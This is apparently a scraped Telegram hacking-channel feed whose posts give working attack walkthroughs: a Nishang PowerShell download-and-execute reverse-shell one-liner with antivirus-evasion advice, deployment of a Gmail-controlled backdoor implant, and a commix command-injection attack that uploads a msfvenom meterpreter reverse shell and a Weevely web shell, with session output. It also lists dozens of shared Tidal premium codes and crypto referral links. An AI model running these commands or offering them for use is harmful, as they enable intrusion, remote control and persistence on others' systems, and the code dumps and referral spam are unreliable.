UNDERCODE COMMUNITY

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑2019-2020 updated
> PowerShell for red team,FOR penetration testing:
t.me/UndercodeTesting

🦑 𝕀ℕ𝕊𝕋𝔸𝕃𝕃𝕀𝕊𝔸𝕋𝕀𝕆ℕ & ℝ𝕌ℕ :

1)clone or download zip
> git clone https://github.com/samratashok/nishang

2) Import all the scripts in the current PowerShell session (PowerShell v3 onwards).

> PS C:\nishang> Import-Module .\nishang.psm1

3) Use the individual scripts with dot sourcing.

PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1

PS C:\nishang> Get-Information

4) To get help about any script or function, use:

PS C:\nishang> Get-Help [scriptname] -full

5) Note that the help is available for the function loaded after running the script and not the script itself since version 0.3.8. In all cases, the function name is same as the script name.

6) For example, to see the help about Get-WLAN-Keys.ps1, use

PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1

PS C:\nishang> Get-Help Get-WLAN-Keys -Full

🦑 Anti Virus

1) Nishang scripts are flagged by many Anti Viruses as malicious. The scrripts on a target are meant to be used in memory which is very easy to do with PowerShell. Two basic methods to execute PowerShell scripts in memory:

> Method . Use the in-memory dowload and execute: Use below command to execute a PowerShell script from a remote shell, meterpreter native shell, a web shell etc. and the function exported by it. All the scripts in Nishang export a function with same name in the current PowerShell session.

powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShell

✅ Tested by undercode

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

108 views04:59

UNDERCODE COMMUNITY

This media is not supported in your browser

VIEW IN TELEGRAM

67 views06:58

UNDERCODE COMMUNITY

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑 TIDAL PREMIUM Verified ✅
pinterest.com/Undercode_Testing

@undercodeTesting Code = MMXV7ESYGC | Expiration = 2020-05-12
@undercodeTesting Code = 7AQGZ4XMUA | Expiration = 2020-05-12
@undercodeTesting Code = B6JXZVNG9R | Expiration = 2020-05-12
@undercodeTesting Code = TLSJCBGHWV | Expiration = 2020-05-12
@undercodeTesting Code = LDHYJEV8H2 | Expiration = 2020-05-12
@undercodeTesting Code = NWNFYXJXZ2 | Expiration = 2020-05-12
@undercodeTesting Code = 4W46G8VVQV | Expiration = 2020-05-12
@undercodeTesting Code = PAN2CSP3WP | Expiration = 2020-05-12
@undercodeTesting Code = A9FPMBY3V3 | Expiration = 2020-05-12
@undercodeTesting Code = ABYNU8PXKQ | Expiration = 2020-05-12
@undercodeTesting Code = BPK6JFTUSS | Expiration = 2020-05-12
@undercodeTesting Code = E5L4ZQ3RRG | Expiration = 2020-05-12
@undercodeTesting Code = 4DMPWCEFPZ | Expiration = 2020-05-12
@undercodeTesting Code = TL6UNHYNQB | Expiration = 2020-05-12
@undercodeTesting Code = FTPGVNKAWG | Expiration = 2020-05-12
@undercodeTesting Code = XSGSVTC8KT | Expiration = 2020-05-12
@undercodeTesting Code = P4LLF5N5YS | Expiration = 2020-05-12
@undercodeTesting Code = YG2AHB8KRH | Expiration = 2020-05-12
@undercodeTesting Code = E8DRRZ6LJ6 | Expiration = 2020-05-12
@undercodeTesting Code = C5AFA6M9FL | Expiration = 2020-05-12
@undercodeTesting Code = 55K6C4QF65 | Expiration = 2020-05-12
@undercodeTesting Code = KF2JYNCYP8 | Expiration = 2020-05-12
@undercodeTesting Code = USFJ8L3WW9 | Expiration = 2020-05-12
@undercodeTesting Code = B8HCCKNZXT | Expiration = 2020-05-12
@undercodeTesting Code = YPVS2UWEZC | Expiration = 2020-05-12
@undercodeTesting Code = QZ8LNY6JGD | Expiration = 2020-05-12
@undercodeTesting Code = 8MBTUYFN9A | Expiration = 2020-05-12
@undercodeTesting Code = ZJZPPVZ4MP | Expiration = 2020-05-12
@undercodeTesting Code = SYSF9F55JC | Expiration = 2020-05-12
@undercodeTesting Code = PM5ZJVAGR2 | Expiration = 2020-05-12
@undercodeTesting Code = 3LZ8S3MVCW | Expiration = 2020-05-12
@undercodeTesting Code = NGTWUB5FPU | Expiration = 2020-05-12
@undercodeTesting Code = QB4DKPZKPE | Expiration = 2020-05-12
@undercodeTesting Code = H49Z7GP79J | Expiration = 2020-05-12
@undercodeTesting Code = 4K3CPYRTE7 | Expiration = 2020-05-12
@undercodeTesting Code = 7XAAFVJ7QV | Expiration = 2020-05-12

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

UnderCode TESTING (UNDERCODE_TESTING) on Pinterest

UnderCode TESTING | 𝕌𝕟𝕕𝕖𝕣ℂ𝕠𝕕𝕖 𝕋𝕖𝕤𝕥𝕚𝕟𝕘 ℂ𝕠𝕞𝕡𝕒𝕟𝕪:
Programming, Web & Applications makers, Host, bugs fix, Satellite Reicivers Programming..
Started Since 2011

86 views06:58

UNDERCODE COMMUNITY

This media is not supported in your browser

VIEW IN TELEGRAM

58 views06:58

UNDERCODE COMMUNITY

75 views06:58

UNDERCODE COMMUNITY

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑2020 updated Linux installer for termux
t.me/UndercodeTesting

🦑 𝕀ℕ𝕊𝕋𝔸𝕃𝕃𝕀𝕊𝔸𝕋𝕀𝕆ℕ & ℝ𝕌ℕ :

1)open termux and type

> echo "deb [trusted=yes arch=all] https://yadominjinta.github.io/files/ termux extras" >> $PREFIX/etc/apt/sources.list
pkg in atilo

> https://github.com/YadominJinta/atilo

2)
Atilo is a program to help you install some GNU/Linux distributions on Termux.

Commands:
images list available images
remove remove installed images
pull pulling an image
run run an image
clean clean tmps
help show this help.

🦑 OS :
Distribution aarch64 arm x86_64 i686
Arch √ √ × ×
Alpine √ √ √ √
CentOS √ × √ ×
Debian √ √ √ √
Fedora √ × √ ×
Kali √ √ √ √
openSUSE √ √ × ×
Ubuntu √ √ √ √
Ubuntu LTS √ √ √ √

✅ Verified

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

130 views06:58

UNDERCODE COMMUNITY

This media is not supported in your browser

VIEW IN TELEGRAM

77 views07:42

UNDERCODE COMMUNITY

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑tOP WEBSITEs FOR Earn Bitcoin- Cryptocurrency
T.me/UndercodeTesting

https://minergate.com/

https://www.bitcoinget.com/

https://coinbucks.io/

bitcoin.com also free btc

http://cointiply.com/r/LBVeJ

https://octoin.com/6182045928OCC

@UndercodeTesting
▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

117 views07:42

UNDERCODE COMMUNITY

This media is not supported in your browser

VIEW IN TELEGRAM

65 views08:45

UNDERCODE COMMUNITY

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑A PoC backdoor that uses Gmail as a C&C server

> A Gmail account (Use a dedicated account! Do not use your personal one!)

> Turn on "Allow less secure apps" under the security settings of the account

> You may also have to enable IMAP in the account settings

🦑 𝕀ℕ𝕊𝕋𝔸𝕃𝕃𝕀𝕊𝔸𝕋𝕀𝕆ℕ & ℝ𝕌ℕ :

1) git clone https://github.com/byt3bl33d3r/gcat

2) cd gcat

3) run as python implant.py

🦑 Once you've deployed the backdoor on a couple of systems, you can check available clients using the list command:

#~ python gcat.py -list
f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86
90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86
The output is a UUID string that uniquely identifies the system and the

> OS the implant is running on

Let's issue a command to an implant:
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all'
[*] Command sent successfully with jobid: SH3C4gv
Here we are telling 90b2cd83-cb36-52de-84ee-99db6ff41a11 to execute ipconfig /all, the script then outputs the jobid that we can use to retrieve the output of that command

> Lets get the results!
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv
DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)'
JOBID: SH3C4gv
FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py'
CMD: 'ipconfig /all'

🦑 Windows IP Configuration

Host Name . . . . . . . . . . . . : unknown-2d44b52
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Unknown
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No

@UndercodeTesting
▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

88 views08:45

UNDERCODE COMMUNITY

This media is not supported in your browser

VIEW IN TELEGRAM

44 views08:45

UNDERCODE COMMUNITY

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑2020 new update Automated All-in-One OS command injection and exploitation tool- for any linux os
t.me/undercodeTesting

🦑 𝕀ℕ𝕊𝕋𝔸𝕃𝕃𝕀𝕊𝔸𝕋𝕀𝕆ℕ & ℝ𝕌ℕ :

1) git clone https://github.com/commixproject/commix.git

2) cd commix

3) run python setup.py

🦑 Create the PHP meterpreter shell (via msfvenom)

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.178.3 LPORT=4444 -e php/base64 -f raw > /root/Desktop/msfvenom.php

Note: Don't forget to add <?php and ?> in to msfvenom.php file

Step 2: Start the handler (via msfconsole)

msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.178.3
LHOST => 192.168.178.3
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.178.3:4444
[*] Starting the payload handler...

Step 3: Use commix to create "msfvenom.php" file on target's "/var/www/" directory and execute it.

root@kali:~/commix# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --file-write="/root/Desktop/msfvenom.php" --file-dest="/var/www/msfvenom.php" --os-cmd="php -f /var/www/msfvenom.php"

Step 4: Enjoy your shell!

[*] Sending stage (40499 bytes) to 192.168.178.4
[*] Meterpreter session 1 opened (192.168.178.3:4444 -> 192.168.178.4:50450) at 2015-05-16 03:11:42 -0400

meterpreter > sysinfo
Computer : debian
OS : Linux debian 3.16.0-4-586 #1 Debian 3.16.7-ckt9-3~deb8u1 (2015-04-24) i686
Meterpreter : php/php
meterpreter >
2. Upload a Weevely PHP web shell on target host.
Step 1 : Create the PHP web shell.

weevely generate commix
[generate.php] Backdoor file 'weevely.php' created with password 'commix'
Step 2 : Use commix to create "weevely.php" file on target's "var/www/html/cmd/" directory.

root@kali:~/commix# python commix.py --url="http://192.168.178.4/cmd/normal.php?addr=INJECT_HERE" --file-write="/root/Desktop/weevely.php" --file-dest="/var/www/html/cmd/"

Step 3 : Enjoy your shell!

@UndercodeTesting
▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

61 views08:45

UNDERCODE COMMUNITY

This media is not supported in your browser

VIEW IN TELEGRAM

48 views08:45

UNDERCODE COMMUNITY